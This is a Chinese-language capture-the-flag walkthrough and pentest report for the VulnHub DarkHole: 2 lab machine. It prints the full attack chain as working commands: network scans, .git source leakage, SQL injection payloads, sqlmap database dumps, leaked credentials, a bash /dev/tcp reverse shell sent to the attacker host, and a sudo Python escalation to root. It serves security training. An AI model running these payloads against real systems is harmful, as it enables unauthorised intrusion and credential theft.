DarkHole: 2靶场渗透

DarkHole: 2

来自 < DarkHole: 2 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.132

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.132

4,访问80端口开放的http服务

再扫描枚举网站子目录

gobuster dir -u http://192.168.23.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

没有用户名密码无法登录

注意到nmap扫描出存在/.git目录,可以通过/.git/得到网页源代码

5,使用git泄露利用工具

export https_proxy="http://192.168.99.74:7897"

git clone https://github.com/BugScanTeam/GitHack.git

cd GitHack

python GitHack.py http://192.168.23.132/.git/

下载成功,阅读源码代码审计

cat dist/192.168.23.132/login.php

SQL 注入漏洞分析

在代码里,核心 SQL 查询语句是:

check = connect->query("select * from users where email='email' and password='pass' and id=1");
问题点

  1. 直接拼接用户输入
    • email 和 pass 都来自 _POST,虽然经过了 mysqli_real_escape_string(connect, htmlspecialchars($_POST['email']));
      但这种过滤并不能完全阻止 SQL 注入。
  2. 过滤不完善
    • mysqli_real_escape_string 只能转义部分字符,如果数据库使用了宽字节编码(如 GBK),攻击者可以通过构造特殊 payload 绕过转义。
    • htmlspecialchars 是针对 HTML 输出的防护,对 SQL 注入无任何意义。
  1. 利用场景
    攻击者可以构造恶意 email 或 password,例如:
    ' OR '1'='1
    拼接后可能变成:
    select * from users where email='' OR '1'='1' and password='' and id=1
    这样条件恒为真,绕过密码验证。

6,直接开始原汁原味的手工sql注入

结果失败,没有任何反应。再拿sqlmap跑一下

sqlmap -u "http://target.com/login.php" --data="email=test@test.com&password=123456" -p email --batch --dbs

这一步是 sqlmap 的启发式检测,没发现明显异常,但不代表不存在注入。因为:

  • 有可能注入点在 password 参数
  • 也可能注入点需要特定 payload 才能触发
  • 或者目标用了 WAF,需要绕过

那就不能从sql注入入手了

7,再尝试查看git提交日志信息

成功得到账户密码lush@admin.com/321

登录网页成功

8,注意到传参方式是通过id进行的,再次尝试手工sql注入

id=1' and 1=1 --+

id=1' and 2=1 --+

由此推测闭合方式为单引号。网络方便省事直接使用sqlmap跑

sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --current-db

得到数据库名darkhole_2

sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -tables

得到两个表名ssh,users

sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -T ssh -columns

sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -T ssh -dump

成功得到一个账户密码jehad/fool

9,ssh登录fool用户

ssh jehad@192.168.23.132

登录成功之后尝试信息收集

存在三个用户,那么应该不会直接提权成为root,而是先横向移动到其他用户上

cat .bash_history

发现一些和黑客入侵痕迹的历史命令,而且本地有9999端口的服务.

ss -antp

尝试一下这命令

curl "http://127.0.0.1:9999/?cmd=id"

那么就可以进行横向移动的利用了,通过这个内网木马切换到losy用户

10,再重新登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机.

ssh jehad@192.168.23.132 -L 9999:localhost:9999

构造连接kali的命令:

bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'

使用URL编码

bash+-c+%e2%80%98bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.23.128%2f4444+0%3e%261%e2%80%99

在kali的浏览器直接访问

http://127.0.0.1:9999/?cmd=bash+-c+%e2%80%98bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.23.128%2f4444+0%3e%261%e2%80%99

kali进行监听:

nc -lvnp 4444

但是失败了。如果使用cat命令会发现: losy的密码是gang

http://127.0.0.1:9999/?cmd=cat%20~/.bash_history

11,尝试su到losy用户

查看提权操作

sudo -l

sudo python3 -c 'import os; os.system("/bin/sh")'

提权成功,得到flag

DarkHole 2 渗透测试报告

一、实验环境与拓扑

  • 两台虚拟机网络均设置为 NAT 模式,保证内网可访问且便于实验隔离。
  • 攻击机 IP:192.168.23.128
  • 靶机 IP:192.168.23.132

二、信息收集

  1. 网络扫描
    • 使用 ICMP 扫描确认靶机存活。
    • 对靶机进行全端口扫描与服务探测,发现 HTTP 服务开放于 80 端口,并且存在一些隐藏目录。
  2. 网站内容枚举
    • 利用目录扫描工具尝试访问网站子目录,但未获取有效用户凭证。
    • 发现网站存在 .git 目录,通过 .git 获取网页源码。

三、源代码审计与漏洞分析

  1. 源码获取
    • 利用 Git 泄露工具下载网页源码,并进行审计。
    • 核心登录逻辑中 SQL 查询存在拼接用户输入的情况:
      • 用户名和密码直接拼接在 SQL 查询中,存在潜在 SQL 注入风险。
      • 虽有部分转义与 HTML 过滤,但无法阻止宽字节编码绕过或其他注入方式。
  2. SQL 注入分析
    • 拼接逻辑使得攻击者可以构造条件恒为真的 payload 绕过验证。
    • 初步手工尝试 SQL 注入未成功,进一步使用自动化工具探测也未发现明显注入点。
    • 最终通过访问特定参数(如 id)发现注入点,确定闭合方式为单引号。

四、凭证获取与登录

  • 通过 Git 提交日志分析成功获取部分账户密码。
  • 利用这些凭证成功登录网页,进一步确认可访问受保护功能。

五、数据库信息获取

  1. 数据库探测
    • 确认数据库名、表名及表字段信息。
    • 在 ssh 表中获取了用户凭证,成功 SSH 登录用户 fool。
  2. 用户信息分析
    • 靶机存在多个用户,直接提权为 root 的可能性低。
    • 进一步检查发现本地存在监听端口 9999 的服务,可作为横向移动和权限提升入口。

六、横向移动与内网服务利用

  1. 端口与服务分析
    • 使用本地 Socket 工具确认 127.0.0.1:9999 活跃。
    • 访问该端口可执行命令,属于内网后门服务,实际权限为 losy 用户。
  2. SSH 隧道实现本地端口转发
    • 利用 SSH 建立本地端口映射,将攻击机本地端口映射至靶机 9999 端口。
    • 访问本地端口即相当于访问靶机本地服务,触发远程命令执行(RCE)。
  3. RCE 利用与反弹 Shell
    • 构造反弹 Shell 命令通过 URL 访问执行,实现与攻击机的交互式 Shell。
    • 在此过程中发现 losy 用户密码,通过本地文件读取进一步确认。

七、权限提升

  1. 切换用户
    • 使用已知 losy 密码或本地 RCE 提权到 losy 用户。
  2. 提权到 root
    • 查看 losy 用户可使用的 sudo 权限,发现可执行特定 Python 命令获得 root Shell。
    • 成功提权,获取目标系统最高权限并获取实验 flag。

八、攻击链总结

  1. 初始访问:网络扫描 → HTTP 服务发现
  2. 信息收集:目录扫描 → .git 泄露 → 源码审计
  3. 漏洞利用:SQL 注入探索 → 数据库信息与 SSH 凭证获取
  4. 用户登录:使用获取的凭证登录 Web 与 SSH
  5. 横向移动:发现本地服务 9999 → SSH 隧道端口转发 → RCE
  6. 权限提升:切换至 losy → 使用 sudo 特权执行 Python 提权 → 获取 root
相关推荐
喜葵3 小时前
前端安全防护深度实践:从XSS到供应链攻击的全面防御
前端·安全·xss
一枝小雨3 小时前
【C++】Vector完全指南:动态数组高效使用
开发语言·c++·笔记·vector·学习笔记·std库
大白的编程日记.3 小时前
【Linux学习笔记】信号的深入理解之软件条件产生信号
linux·笔记·学习
Wilber的技术分享3 小时前
【大模型实战笔记 1】Prompt-Tuning方法
人工智能·笔记·机器学习·大模型·llm·prompt
来生硬件工程师4 小时前
【硬件笔记】负载是如何烧MOS的?
笔记·嵌入式硬件·硬件架构·硬件工程·硬件设计
泰迪智能科技4 小时前
案例分享|企微智能会话风控系统:为尚丰盈铝业筑牢沟通安全防线
安全·企业微信
lingggggaaaa5 小时前
小迪安全v2023学习笔记(七十八讲)—— 数据库安全&Redis&CouchDB&H2database&未授权&CVE
redis·笔记·学习·算法·安全·网络安全·couchdb
Source.Liu5 小时前
【Python基础】 13 Rust 与 Python 注释对比笔记
开发语言·笔记·python·rust
诗句藏于尽头5 小时前
DJANGO后端服务启动报错及解决
数据库·笔记·django